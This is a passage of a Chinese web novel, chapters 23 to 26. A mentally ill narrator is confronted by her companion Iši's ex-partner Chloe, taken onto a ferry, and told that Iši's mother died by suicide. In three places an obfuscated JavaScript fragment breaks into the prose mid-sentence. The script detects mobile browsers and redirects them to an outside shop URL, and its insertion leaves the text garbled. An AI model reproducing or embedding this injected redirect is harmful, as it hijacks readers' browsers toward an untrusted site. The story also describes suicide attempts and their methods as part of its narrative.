我赤脚走出卧室,没有刻意压制脚步声,而我的脚印仍低落得掀不起一丝波澜。我走到客厅,扫过一张惊恐且美丽的脸庞,又步履不停地拐进厨房,找到常用的马克杯,泡起笨拙的咖啡。 “她是谁?!” 身后传来沸水般的质问。 我是,一个心里回味着你浓密齐肩的金发,泫然泪下又闪闪发光的眼眸,因冻僵而显得凄哀的额头和鼻尖,以及脖子上仿佛被极光照耀的翡翠项链,的……的画家。只有画家才会兴致勃勃地反复画一幅画。 那是我见过的最唯美的一张脸,仅仅用一秒注视便让人甘愿成为她的教徒。靠近海会闻到海的气息,靠近她的美貌会闻到金钱腐烂的气息。或许几年前的她出落得更完美,更有令人一见钟情的能力,不幸的是有什么荒诞发生了,就发生在她眼窝那块薄薄的皮肤上。 我往咖啡里灌上满满的牛奶,快要溢出杯口,比例早就乱了套,不分是非地搅拌以后颜色更是枯瘦。我趴下去小抿了一口,用衣服下摆包着杯底,小心翼翼地捧出去。 当我再次出现在客厅,再次受邀于克洛伊犀利忍耐的目光,世界如同打了麻醉,陷入动弹不得的困境,我走的每一步都像走在平衡木上。流动性极强的咖啡需要极强的专注,使我成功做到了完全忽视他们两个,他们是相隔甚远是抱在一起还是亲在一起,统统看不见。 我穿越客厅,直直来到玄关,稳重地放下咖啡,穿袜子,穿鞋,稳重地拿起咖啡,用胳膊的重量压下门把手,用脚开门,风呼啦啦地卷起头发,用脚关门,风一下子便小了。 神经病,一屁股坐在雪上喝热咖啡,和死了上桌吃自己的宴席有什么两样。唯一值得理直气壮的是门被我关得十分彻底,动静无法穿透这扇门进我的耳朵。 天又在取之不尽用之不竭地暗下去,不停地黑下去,我纳闷哪有那么多的黑够用,到底会从哪个节点开始变亮,还是说压根不能变亮,每天见到的不过是视网膜在刷档重来。为什么每次抬头仰望都是它变黑的过程,从日照雪山开始变黑,从泛黄的海平面开始变黑,从阴森的普鲁士蓝开始变黑? 搁浅的白鲸,等死的日日夜夜,眼前播放的就是这样一种景象吧。 伊实似乎误会了我很讨厌甚至痛恨烟味,因为我提起父亲的时候从没好脸色,然而实际上我不讨厌,当然不能说喜欢,呛喉咙的感受我不想再来一回。是我的鼻子,我的鼻子学会了通过烟草味寻找巢穴。 在他怀里呼吸时,我感到格外富裕,仿佛把那个郁郁寡欢的小孩和现在的我串联在了一起。 那时她还不知道,烟味的另一头,并不是家。 不是闻到这个气味就能吃上饭,喋喋不休地倾诉,撒了娇以后要道歉,坐在锈烂的课桌上做功课,日记本的封面没法署名,不知道给谁写信…… 这破天简直在猥亵我,雪也丑陋,极光更是不见踪影。我的喉咙似生吞了一整块动物黄油,腻得反胃,难道是放牛奶时加了过量了糖?天老爷,都什么时候了,你还在欲盖弥彰? 只不过是被骂了两句,咖啡立刻便冷了下去。我在门口坐了很久,杯子怎么捂也捂不热了。 风齐刷刷地向这边倒,原来是门又开了。走出来的是一种不小心踩到猫尾巴的脚步。 “喂。”克洛伊居高临下地看我,正了正形。 我歪过身子也去看她,只是歪身子,不动脖子,这样能保证风不从领口灌进来。 “你是谁?”她问。 怎么对我来来回回就只有两句台词,我腹诽道,嘴上没有回答,我可以装作听不懂。 “不明白我的话吗?”她很想蹲下来,但那样有失分寸,所以掐起我的脸对准她,又问了一遍:“你是谁?他不告诉我,那就由你亲自告诉我。” 天老爷,她真是漂亮,高耸的鼻梁和明媚的褐色瞳孔。我招,我招。 “我叫穆里斯,在中国东部的一个小县城里出生。”我借用了伊实的口头禅,作为我的艺名。 “谁问你这个了?你和他在约会,是不是?”她声音里有惶恐,不过依然很强势。 我拂开她的手,只有这样我才好发音,“没有,我在他家做小偷,被人赃俱获之后求他给我口饭吃,你见到的也只是我再度作案的现场而已。” “你觉得这很好笑吗?”克洛伊荒唐地瞥开目光,又瞥回来,眼里还是蓄满了泪水,“不管怎样,离他远点,听见了吗?离他远点!” 她抹了抹眼角,裹紧大衣,往雪地里走去。 她为什么不住下呢?我望着她的背影想,脸皮没有我这么厚吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572873|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我本想目送她直到她上了某辆接驳车,结果该死的风又给了我一耳光。 “你要在门口待到什么时候?”伊实抵着门边,问。 我沉默。 “没聊完怎么不追上去接着聊?”他很会用英文翻白眼。 我默默起身,拍了拍裤子后面的雪,从他身侧挤进门,也可能撞了他一下。 “晚饭想吃什么?准爸爸。”我很绅士地问道,一路往里走。 伊实用力关上门,也许还是那股风在助力,总之余震从我的脚底心一路漫延到头顶,仿佛这是何等龙潭虎穴。 “我现在心情一团糟,你最好别掺合。”他说。 我嗯了一声,去厨房给自己弄点伙食。拌了一碗蔬果沙拉,烤了几片面包和牛肉,站在锅前直接用餐,叉子划过锅底发出刺耳的声音,在墓碑上刻墓志铭时我也会用这么大的力气。 晚上我又躺回了沙发,那张迎着落地窗,垫子可以掀开,柔软适中的沙发。我一直开着电视,有点儿演变到过度依赖的程度,一直开着,有时装模作样地换个频道看。 伊实沐浴完,看到我一副“就算抓我尾巴也起不了劲”的模样蜗居在那里,说我冻坏了脑袋。我不予置否。 他走过来,扯了扯我身上的毛毯,那是我唯一的保护罩,“去床上睡。”他说。 我一动未动,发空洞的呆。 伊实蹲下来,手指在我眼前晃了晃,确认我至少还有眨眼的本能。 “连一个问题你都问不出来吗?”他说。 我这才瞥去一眼,嗓音生涩地开口:“你让我不要掺合。” “那是因为你直接抛了个荒谬的答案给我。” 我闭上眼睛:“没必要。” 伊实盘腿而坐,手伸进来握住我的手,他老把它当成一个麦克风,又或是拴住宠物的链条,举着牵着心里才踏实似的。 “为什么不问?你应该要问。如果你在想,那就问。”他说。 我故意留了个空档,问:“俄语的没必要怎么说?” “Ялюблютебя.”他回答得轻巧且迅速。 这在意料之外,我感到好笑,虚脱的好笑:“没准你在耍什么花样。” “嗯,知道你不信我。”伊实吻了吻我的指尖,沉声低语:“但我也不想让你从马背上摔下来。” 几乎是一瞬间,我的眼眶发酵变酸。由于担忧核泄漏,我不免紧紧地闭着双唇。 “很抱歉吼了你。”他擦过我的脸蛋,像对待一个洋娃娃。 这份温柔有太多值得诟病的地方了,如果只是心疼,他会粗鲁地把手指塞进我嘴巴里让我咬两口解气,如果只是安慰,他会二话不说地亲口撬开我的牙齿逼供,但他却像对待一个洋娃娃一样对待我——表明他此时,正和我一样破碎。 不管是因为什么而破碎,总而言之,我们半斤八两,或者说,势均力敌。 伊实埋下脸,“我不知道从何说起……可能你也一样,这很难……最烦人的是它们不会自己就这么流走。” “她明天还会来吗?”我问。 “不会。” “How?” “我这没她想要的了。” “你人就在这。” “但没有她想要的。” 算了。 我关掉电视机,缩进毛毯与世隔绝,是人是鬼都得遵循原则,不随便打扰被窝里的人。 过了很久,漫长又狭窄的时间,我在逼仄的沙发里睡过去。 - 第二天醒来,胳膊还是那条胳膊,床还是那张床,人还是那个人。 只有我被偷袭。 24. 第 24 章 正如笔盖和皮筋始终受到地心引力的驱使而把坠落和不见踪影当作人生目的一样,伊实开始气愤我每晚屡教不改地睡在沙发。管天管地还管得了人睡觉吗?我说,我躺在沙发熬个夜也不允许?总之接连几天,这样的暴动都在发生:我固执地在沙发窝到很晚,他固执地等我睡着觉把我抱回卧室。他在等我妥协,实际上我从来没说过第二天醒来第一眼看见的还是他,心里感到有所不服什么的。 克洛伊那天之后究竟有没有再来拜访无从知晓,因为伊实连着两日白天出门晚上回,先是给前同事搬家,在一起喝了点小酒,后是重操旧业在马场骑马,结束后喝了点小酒。这大概就是他平日里的生活,唯一不同的地方是现在身后跟了一个拖油瓶。 “不去。”我记得我每次都是这样回答的。由于后面没能给出足够有说服力的理由,伊实一律充耳不闻。 前同事的新家在海边,两座独栋红色小木屋之间有一套被雪覆盖的长方形桌椅,我用上面的雪捏了两个小雪人,一个大一个小,大的躺着,小的站着,我便是用这种极其隐晦的方式表达自己的野心。 伊实说他们新家的位置非常适合钓鱼,既有雪山的庇护,又有海浪的勾引,除了提高了中风的风险,就金钱和情绪的价值上来说,搬家是正确的决定。我一时间竟听不明白这是认可还是反讽。 好在他的前同事跟我一样愚钝,老好人似的龇个大牙笑。他十分欢迎我,哪怕我铁了心不愿开口讲话,他还是贡献出家里最美味的蟹棒和棕奶酪招待我。以至于最后我有点流连忘返,被伊实骂了一顿。 “他可不识字,认不出你脸上‘拜托拜托收留我吧’这一行大字。”他捏着嗓音说。 不跟他吵,我一点儿都不想跟他吵。他自己还有一堆毛病需要修理呢,竟管起我来了,弼马温的风范。 后来在马场,我实在看不下去了,酒精没有成功摧残他的身体算他厉害,没有嚎啕大哭这一正常人类应有的能力也算他倒霉,可凭什么带上我东奔西走?我又不需要劳心费财地用一个绯闻去掩盖另一个绯闻,用枝繁叶茂的外在活动去掩盖更加枝繁叶茂的心理活动,这一切毫无意义,至少我没得选择,所以我觉得毫无意义。 所以在伊实骑马的时候,我用他的手机给布鲁克打去一通电话。 “喂,是我。”我语气严峻,如同一位经验丰富的刽子手遇上了一具棘手的尸体。 “你?哦,你。”布鲁克咳了两声,嗓子清晰了些,“抱歉,中午的披萨放了很多芝士。怎么了,为什么给我打电话?伊实说你再也不理我了,从此记恨上我了。” “还好,那天我们差点上床了。”我说,尽可能表明我对他的谅解。 “啊……我想也是,我说的没错吧。” “听仔细点,是差点。” “开什么玩笑,他站不起来?” “不是,我紧要关头想起了你的话,偏要和你作对而已。”我故意找不痛快,瞎扯淡的本领还是初中学到植物嫁接那一课时得到的启发,倒要看看能擦出怎样的火花。 布鲁克果然垂头丧气:“你还是怪我咯?” “我想问你一个问题。” “什么都可以,只要你答应下次还一起出来玩。” “伊实的地址是你透露给克洛伊的,对吗?” “……” 对面陷入海水退潮般的沉默,良久,才发出截然不同的声音,更为沮丧和痛心疾首:“一时糊涂。” 我咬了咬唇,问:“为什么?处心积虑地把他藏起来,现在又大大方方地供出来,在我的国家,叛徒是最可恨的。” “在哪儿都一样,孩子。”布鲁克说,“但有些事情必须做个了结。” “那不是了结,是纠缠,了结是像我一样什么都不要,拖个行李箱就他妈的一个人到这里,是他妈的开车从不拐弯也从不踩刹车,这才叫了结好吗?你分明就是在制造纠缠!”我越说越躁,说错了几个词,但伟大的名言名句总是在错误中产生的。 布鲁克再次沉默了片刻,好似贴心地留给我喘息的时间,而后才说道:“孩子,你并不知道他们的过去。” “我也不想知道。谁没有过去?我难道一出生脑子就有问题吗?过去过去过去,一个个过去毁了当下。” 这一次,布鲁克的沉默没有尽头。 我最终还是没有放出满肚子的邪念,否则又干出什么躺在土里也追悔莫及的事,被阴间同事挖出来咀嚼,说难怪没人给我烧钱。 “布鲁克,”我恢复原来薄而轻的语调,说:“你做好人就做到底,无论用什么方法,把伊实支开,还我个清净。对了,干脆把他们锁在一间房里,不做.爱就出不去。就像你说的,总要做个了结,你就是上帝,我是你的随从,算我求求你,给那个执迷不悟的家伙下一记猛药。” 我没听到答复便挂了电话,伊实下马往这边走来,抄近道越过栅栏,也就只有这种时候他知道最近的道路是哪条。 “我打电话给布鲁克了。”我不打自招,不过其中带点儿挑衅的成分。 “说什么了?”伊实穿上外套,出我意料的是他好像并不在意,“水。” 我从包里拿出水壶递给他,说:“跟他说,我没有讨厌他。” 伊实扯了扯嘴角,“那真是辛苦你了。” 大概在暗讽我兴师动众。 某些赌局在下注之后就必须得离开了,不然血溅到衣服上百口莫辩。不过,呆着或许也能听到好消息,比如某人躲得过初一躲不过十五,而在十五之前本人未雨绸缪早就找好了容身之处。 布鲁克花了一天的时间想到办法引走伊实,至少在我看来是这样,就算事实是这两位情比金坚的忘年交兄弟把酒言欢,用我作下酒菜,那也无所谓。 重要的是一位金发美人得偿所愿,一位白发冤大头治好了夜长梦多,以及这里一位黑发宅女耳根清静。 伊实临走前警告我哪儿也不许去,尤其是屋外那片海,我笑他一大把年纪了还有分离焦虑,当babysitter还当上瘾了。这句话惹得他二话不说地折返回来,站立在我面前,用审视的眼神预判我的人身安全,最后俯下身咬破了我的嘴皮。 他琢磨琢磨,对着我莫名其妙的神情说:“对,babysitter从不失职,乖乖睡觉吧宝贝。” “……”我恼怒地推开他。 要走就快点走!夜长梦多会传染的不知道吗?! 伊实走了,我也用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572874|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一双拳头殴打并掐死了一具枕头。 电视剧的大结局是在任何医院都买不到的致幻剂,镜头转到清晨的街道,一家虚了焦的蛋糕店,门口的盆栽,滴下来的露水,到这里就结束了。让我拍,就拍下一秒一块巨大的霓虹灯招牌突然从天而降,砸烂蛋糕店和那顶装腔作势的盆栽,理由是,魔幻现实主义也算一种现实。 我在笔记本电脑上搜索最近的天气预报,天晴,but多云。中国象棋有种局面叫做困毙,没被将军,but无子可动。古有夸父追日,今有我追极光。能把同一部色.情.片反反复复利用的人注定长情,汲取快乐或许是最初目的但绝不是那人的最终目的,不然你就瞧着吧,裤子流淌到脚踝,餐巾纸攥在手里,东风若不来这一切都是白费,他会维持这样的姿态直到找到自己的缪斯之神为止。 对了,厨房里还有一点儿Smash*,味蕾上的刺激勉强能弥补这世间求而不得的遗憾。于是我煮了一锅纯牛奶,把巧克力妙脆角丢进去,直到里面的芯变得软烂,立马捞起。尝一口发现颇得伊实的要领,相处这么久我也学会了做湿垃圾。 落地窗长得太像魔镜,若有似无地印出我的影子,又制造出一幅接近真实的幻境,令人很难不把发丝捋到耳后然后问“谁是这个世界上最美的女人”。 可惜时间证明了这只是在自找没趣。我要去睡觉了。 可就连晚安也不尽人意,门外响起一阵拍门声。 我万万没想到来人会是克洛伊。 ? 别说没想到了,我甚至都不信。造化弄人连个空子也不让钻吗? 我张了张嘴巴,竟然在齁咸齁甜的零食上遭了报应,声音糊成一团:“他不在家。” 克洛伊犀利的目光死死盯着我,轻吐:“我知道。” “……” “我来找你。” 我眼睁睁地看她嘴里冒出热气,鞋底一片泥泞,走进屋子里,在地板上踩出咯哒咯哒如同钟摆故障反复在同一钟头晃动的声音,所有她走过的地方,都失去了井井有条的资格。 “别用那种眼神看我,我只是想和你玩玩,谈点女孩子之间的话题。”她奔着厨房去,不一会儿便从里面找出了两瓶威士忌,冲我一笑:“但不是在这儿,我一点都不觉得这地方有意思。幸运的是,我还知道他的习惯。”她晃了晃手中的威士忌,神情俏皮,三两步走到我跟前。 我没有动弹,她便对我木讷的表现嗤之以鼻,上下打量,“别跟我说你有那么无聊,夜晚一个人躺在床上等着身体发胖发臭,你有吗?” 我也上下看了看她,不禁咽了下口水,她很苗条,并且很香。 “不管你有没有,跟我去逛逛,瞧你的黑眼圈。”她高我半个头,额头贴下来,像一名高傲且蛊惑人心的游说家,“Thingsshouldchange,right?” 威士忌被藏进克洛伊温暖的大衣里,在她的胳肢窝下,而她伸出一只手抓住我的手腕,随后再次踏响咯哒咯哒的脚步。 “Wait.”我说,用了点力道,她拉不动我。 “怎么,你要当个缩头乌龟——” “不是,”我打断她,扯了扯衣领:“外面冷,我加件衣服。” 25. 第 25 章 海水黑得令人发懵,尤其破浪泛白,水花如呕吐物一样翻滚,透澈的玻璃窗营造出一种用长矛做成的桅杆好巧不巧插在我的衣领,不致命却令人彻底傻眼的氛围。 四十分钟以前我还在挑选我和伊实的围巾哪条更保暖,四十分钟以后,伊实的围巾登上了一艘不明目的地的游轮。 克洛伊坐在餐桌旁,倚靠船身,用手里的玻璃杯碰了碰窗户,因为我说我不想喝酒,她只好和虚无干杯。 她解释这是一艘开往特罗姆瑟的轮渡,今日最后一班,开弓没有回头箭,要我用“有问必答”来还船票的债。我老遇到这种强买强卖的事件,仿佛我的意见是廉价的赠品,丢掉也不可惜。 虽说要我“有问必答”,但她迟迟未抛出问题,而是自顾地点评起沿途风光。什么伸手不见五指啦,什么路人冷漠得连眼睛都要藏起来啦,不知道的会纳闷进棺材为什么还要特地坐飞机去。 她凄凉的双唇不停说凄凉的话,为了给挪威正名,我努力控制视线,尽量从她娇美的面孔上移开。 “天空不是24小时都是黑的,也有太阳,夏天也能穿上短袖。还有,你见过极光吗?那个很美,可以认为是太阳的把戏,是真的很美。这里的人的确总保持着一定距离,但这里的酒吧也会出醉汉,街道也会出小偷。”我说。 克洛伊笑了一下,身子往前倾,手肘搁在桌面上,我才发现她的脖子空落落的,那条翡翠项链不见踪影。她看着我说:“你才来多久,就这么明了?他带你去那么多地方,你现在在为谁说话?” 我愣了愣,没意识到真实存在且证据确凿的偏心。 克洛伊放下酒杯,轻轻用杯底和桌面摩擦,舔了舔缺水的嘴唇,说:“他就是图新鲜,还能是什么。这里根本没你说的那么好,你也是,看起来就无趣得要命,有什么好的。他还保持着把酒放在从右往左数第二个橱柜里的习惯,不就表明了他还没完全抛弃以前的生活吗?说得好听,不在乎钱,不在乎名声,烂透了知道说不在乎了,到头来还不是靠布鲁克救济。” 我捋开额头前的头发,又挠了挠发际线,几秒间做了许多小动作。我插不上话,但不能表现出来,只好让自己忙起来。 “嘿——”克洛伊竟然立马精准地堵死了我的去路,“你在听吗?又装听不懂?我说——HeisSUCKS!”最后一句她提高了音量,引来过路人不解的目光,又在看到她的脸之后眉头舒展。 人总会为美丽的东西宽宏大量一次。 于是我顺着她的话头,说:“嗯,他很差劲。” 克洛伊皱起眉,对我的软弱感到愤怒:“你有什么毛病?” “只是赞同你的观点。” “难以置信他居然选择了你这种人却没选择我。”她吞了一大口酒。 我看着她喝完,褐红色的酒劲从喉咙漫上太阳穴,过一会儿又消下去,才继续说道:“没有吧,他看起来这一生只会在喝什么酒上面做选择和动脑筋。” “别说了。” “他做事让人猜不到理由,更不存在戛然而止的情况。” “别再说了。” “……”我适时闭上嘴,她豆大的泪水掉下来,显得我的言辞十分卑鄙。 这片海域初来乍到的鳕鱼未曾想象这般局面,以为今夜会是别人的良宵,按原计划我应该生一通闷气然后和自己的遐想好好下一盘棋,可现实超乎了我的预料。我想可怜她,当然也是这样表现的,但心里一点都不,不能,不会,做不到,更无法开导她的误解,就像一个没有营业执照的小贩只能闭起门户做点拧巴小生意,讲不出有意义的商业谈吐。 克洛伊低声抽噎,压抑住了声音却崩坏了表情,前言不搭后语,又说起了伊实的好。 与其说她爱的是伊实,不如说她爱的是倾注在身上的保护欲。她时常暴露弱点,在酒吧打盹,或者不经意蹭一些来路不明的胳膊好让麻烦找上门,不过她从不呕吐,即使有时透支了额度,她也会在卫生间漱完口再出来。如此一来拯救就会如期而至,伊实就是那样降临到她身边的。 男人在这种时刻更容易上当。她说,用一种惊世骇俗的、笃定的语气。 伊实一次次地救她于水火,一次次地,某一天,她生出和他共度一生的想法,但第二天她就忘了,每回都这样,她承认自己最大的缺点是没有做决定的能力,但总归命运不公,不然她也不会这样。 对此我投一票赞同,天老爷经常略施小计便能让一个人苦不堪言。况且,执迷不悟不是那样好化解的。 可是亲爱的,这让我难过,哪个灾难有商量的余地,而你却选择主动走进那条没有路灯的小道。有人爱你,而你却只爱人一瞬间。深不见底的峡谷之间摇摇欲坠的桥,你惊险地走过,回过头竟要毁掉它。 我从口袋里拿出一团皱巴巴的卫生纸,让她擦擦又爱又恨的泪水,递过去时手又开始发抖,或许和我即将要说的话有关。 “我不喜欢你。”我说,简洁且自作主张。 克洛伊朦胧的表情怔愣住,眼泪不再流,但呼吸未能跟上脚步,一口哭腔冲我而来:“你以为我看你很顺眼?你以为我和一个抢走我男人的bitch谈话是为了获得她的喜欢?!笑话!你还没听明白吗?我失去的你也会失去,你应该谢谢我,傻姑娘。” 失去的前提是拥有才行,连我本人都无法下定论的命题,旁人带着偏见轻轻松松就写下了答案。我会考虑考虑把这作为论据之一,直到我找到最清晰稳妥的架构。 “我来这一个月都不到,”我用发抖的那只手捂住脖子,斜方肌很僵硬,“你如果要来,为什么不早点来?” 克洛伊提了提嘴角,自嘲道:“能早点的话,我在几年前就早了。如今只有等你消失了,我还能有一点转机。” “有没有一种可能,我对他来说其实没那么重要。”我说。 “你在炫耀吗?”克洛伊眉头蹙起瞪我一眼,“他对人不常有耐心。反而你,看看你,不如我爱他。” 不同度量单位之间不能比较是基本常识,我和她说不明白。倒是她无意中掌握了让我不停冒汗的技巧,谎言听多了的小孩是会畏惧听见真相的。 我向服务生讨要了一样的玻璃杯,给自己倒了半杯威士忌,这时的我尚未意识到纯饮其实需要一定的魄力。 “船什么时候停靠?”我问。 “明天早晨八点。”克洛伊在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572875|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手提包里翻找着什么。 “我们要在这坐一晚上吗?”我又问。 她干脆把东西都倒在桌面上,许多小玩意散落一片,她终于找到了口红,撑开嘴皮一边涂,一边说:“你可以在这坐一晚上,我反正要去睡觉。” 一个白色小塑料瓶滚到我手边,我拿起来晃了晃,里面的颗粒下起倾盆大雨,我递给她,随口问:“这是什么?” “安眠药。”克洛伊一股脑儿把所有东西塞回包里,丝毫没有为下一次补妆着想,“彻夜难眠的滋味不好受。” “是的。” 我跟着克洛伊走上一层楼梯,绕过半个船舱,来到她订的内舱房,拥挤得叫人舒展不开手脚,好在足够简单整洁,和学生宿舍比起来这不算什么。 她脱掉中跟靴子和长袜,踩上被褥,然后跪在床铺上脱.衣服,最后只剩一件简单的卡其色打底衫,和一条颜色偏浓的黑色丝袜。 我效仿她,一样脱了鞋子和袜子,踩上被褥,感到不妙,便多踩了几下,用手也摁了几下。完蛋,又要睡不着觉了。 “克洛伊,”我呼唤道,这似乎是我第一次喊她的名字,陌生得舌头都捋不直,“能给我点安眠药吗?” 她盘腿坐着,往酒里兑苏打水,正心烦的模样,对我扬了扬下巴:“自己拿。” 得到准许,我伸长手臂勾过她的手提包,往里摸索。手背仿佛扎满了密密麻麻的针孔,没有方向感和平衡力,找了很久才找到。 安眠药会加重我的焦躁,我十分明确这一点,小小的一颗药片,不足一指甲盖的药片,在我看来明码标价,该有的刑罚都在上面,这令我下意识感到胆怯。 但转念一想,我早就不剩健康了,什么时候被一则鬼故事吓得心脏骤停也在意料之中。好了,睡一觉,有什么明天再说,到了特罗姆瑟继续跟着克洛伊,若是她想甩掉我,那我就在港口等着,大不了挨一顿骂而已。 “喂。”克洛伊突然抱怨道:“你在干什么?拿个药也手抖?” 我感到尴尬,正想解释,却见她挑起眉毛,面露微笑:“难不成你也是个精神病?叫什么来着,躁郁症。” 我顿时扩大了眼睛,“也?你是吗?” 克洛伊收敛了表情,变得严肃但兴致如刺破的气球一样炸开,“不会吧!你不知道?伊实没和你说过?” 我心跳得极快,眼球几乎快要干裂开。 “啊!我明白了!”克洛伊咧开嘴笑,摇头的时候又很是怜悯,“还真有那么巧合的事……” 这话我在哪里听过,我等待她的下文。 “米勒太太就是这个病,自杀过十四次,有我在场的就有四次。伊实的母亲。” 耳鸣…… “割腕、上吊、吞药,在我印象里她都试了一遍,不怕疼的,太疯癫了。” 呕吐欲…… “你是不是也这样?不对,你怕冷。啊,我开始羡慕你了,如果和米勒太太有一样的病的话,他肯定心软了,舍不得放手。” 肠道交织,心悸乏力…… “想来也有五年了……” 我跌跌撞撞冲出房门,头和膝盖一起跪在地上,发了疯地抠嗓子眼。 26. 第 26 章 当然什么也没吐出来。 食指和中指沾满了口水,小舌发痒,好似有谁塞了一口钢丝球在里面。急急忙忙赶来的侍者蹲下来问我发生了什么事,我啊啊了半天像一只绝命乌鸦。我不断摆手,吞咽,发声。当他拿出手机准备呼叫救援,我终于从一百万只蚂蚁头顶迈过去。 “我很好,我很好……”即便语不成声,我仍尽力挤出一抹笑容,“我喝了点酒,有点得意忘形了,谢谢你……” 说完我扶着墙壁站起身,原路返回。没想到敲错了房门,连连低头抱歉。因此克洛伊给我开门的时候看到的是我低三下四的头颅。 “你上哪儿去了?”她诡异地瞥了我一眼。 “厕所。”我回答,慢吞吞地坐到床上,说:“你刚刚话还没讲完。” “还不是因为你和见了光的耗子一样跑出去。”克洛伊贴着我的手臂,在我身旁坐下,“怕了?难过了?你的悟性也没有我想的那样差嘛。” 我有一股将她立马扑倒在地的冲动,但阀门关不上了,我的力气持续泄漏。况且冤有头债有主,狗娘养的坏了事不能把狗的饭碗砸了。 “继续和我说说吧,我教你怎么得这个病。”我说。 克洛伊嫌恶地往后挪了一寸,“谁要得了?难怪呢,从第一眼你给我的感觉就不一样,原来你也是个疯子。” “如果自杀过就算疯子的话,那么的确,我是个疯子。”我说。 克洛伊咬牙:“我真不该把你劫走。” “是我自愿跟着你。” “Jesus……”克洛伊喃喃,躺回自己的床,“明早我给伊实打电话,你跟他回去。” 我宁愿海上的风浪更大些,搅得船上所有乘客不得安宁,那样我才好潜伏其中。克洛伊把灯关掉,我又把灯打开,站在床尾,做个稻草人。 “你歧视精神病吗?不发病的时候我们还是很好沟通的。”我说。 克洛伊撑起半个身子,脸色难看,“你们就像定时炸弹,没人愿意收到定时炸弹。” 左胸肋骨和脖子之间的地方不停作痛,可以选择的话我想单独把这几根发霉的骨头取出来拿去火化,再以骨灰泡水的方式回到我的身体里。 “米勒太太还活着吗?”我问。 “死了。” “什么时候?” “五年前。” “五年前我刚好确诊,精神病也会转世投胎吗?” “你的样子真可怕……” 说到底,我还是吃了信息差的亏,头两年东奔西走被人坑蒙拐骗,寻找除了药物之外的解救之道,唯独没想过大洋彼岸有位太太不声不响地把遗产交代给了我。有那么巧合的事吗?谁出了老千?还是说我的命要贱就贱到底,女体盛似的摆满佳肴,这群人连我的头发丝也不放过,连看不见的人格也不放过。 “她为什么死了?”我就地坐下,抱膝蜷缩挤在一对单人床之间,起夜的阿猫阿狗,总不可怕了吧。 “你……”克洛伊欲言又止。 “我睡不惯这里的床。”我主动解释道,然后又问了一遍:“她是怎么死的?” “我不知道,”克洛伊抓了抓头发,抓出一头凌乱,“听说是开枪自杀,完全没有预兆,那天早晨她还笑着跟我说了早上好。但我知道这一切都跟伊实的亲生父亲有关,米勒太太之前是布朗太太。总之我没兴趣了解疯子的生活,你问我也没用。” “这样啊。”我失望地低下头,和她说了声晚安,便点掉了灯光。 被她这么一说我不得不崇洋媚外了,国外连死法都有更多选择,除非说能有位武功高强的侠客,手腕一转就轻松拧断我的脖子,那我觉得枪杀也没啥好崇拜的。 小小的床舱陷入黑暗之后变得无比广阔,轮渡微微起伏在我屁股下面打圈,床头有一面小窗,什么也看不见,外面和里面一样黑,黑得别无所求,纯膈应人。 好消息是我在应对戏耍这一事上经验丰富,我双脚交叠走上钢丝是为了磨破脚底心,而不是走到大洋彼岸,所以无论对面有什么我都不应该期待,也没有谁替我主持公道。 过了半夜,在酒精作用下克洛伊睡得十分踏实,即使她在睡着之前翻来覆去地踢被子,催促我别像撞鬼的流浪汉一样杵在那儿,影响她的心情。事实证明和一个精神病共处一室并没有那么困难,她睡得很香。 单人床之间的小桌板上亮起一片光,伴随着震动。我爬过去查看,凌晨三点钟,伊实终于找到了我的去向。 肯定要接通啊,如果是正在熟睡的那位,肯定会接通。我接通了。 “克洛伊,你把她带去哪儿了?我有没有警告过你,别打她的主意?” 啊,他在找我,也不一定找的是我,可是为什么呢?伊实,听见你的声音我好想哭。 “说话!她在哪儿?!”伊实厉声质问,夹杂更为沸腾的风雪声。这种语气我从未听闻,凶猛暴力,心急如焚,酝酿了贪恋的犯罪,夺舍我的听觉,血淋淋地剖开。 “伊实……”我沙哑的嗓子正逐渐冷却,在它成为装饰品之前,我反复叫唤:“伊实,伊实……”可除了第一声,早就发不出别的动静了。 好在如愿以偿地将身份传递到了对面,我仿佛看见伊实猛地停下脚步,回过头,再回过头,极其滑稽的不倒翁。 “穆里斯,是你吗?对吗?她带你去哪儿了?”伊实的呼吸瞬间轻下来。 “特罗姆瑟。”我说,还想说别的,“船上。”还想说别的,“睡不着。”还想说别的,“……” 怎么会这样,我说不出来了。问题构不成遗言,遗言也不能包含问题。我想问为什么一枚巨大的灯泡看起来像皎洁的月光,为什么龌龊的手电筒能照出短暂的黎明,为什么我在这里,却快要消失了。 “我去找你。”他说。 我摇头,挣扎在缠枝破蕊之间,绝望地摇头。他看不见。 